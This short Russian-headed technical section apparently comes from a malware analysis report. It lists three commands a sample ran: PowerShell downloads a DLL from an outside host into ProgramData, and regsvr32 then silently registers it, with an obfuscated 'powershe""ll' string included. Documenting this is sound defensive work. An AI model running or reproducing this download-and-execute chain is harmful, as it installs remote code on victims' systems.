Техническая информация
- '<SYSTEM32>\cmd.exe' & "/c powershe""ll.exe Invoke-WebRequest https://weatherishot.top/prvt/caller.php -OutFile %allusersprofile%\VQQkhrltwe.dll
- '<SYSTEM32>\regsvr32.exe' /s %PROGRAMDATA%\VQQkhrltwe.dll
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Invoke-WebRequest https://weatherishot.top/prvt/caller.php -OutFile %PROGRAMDATA%\VQQkhrltwe.dll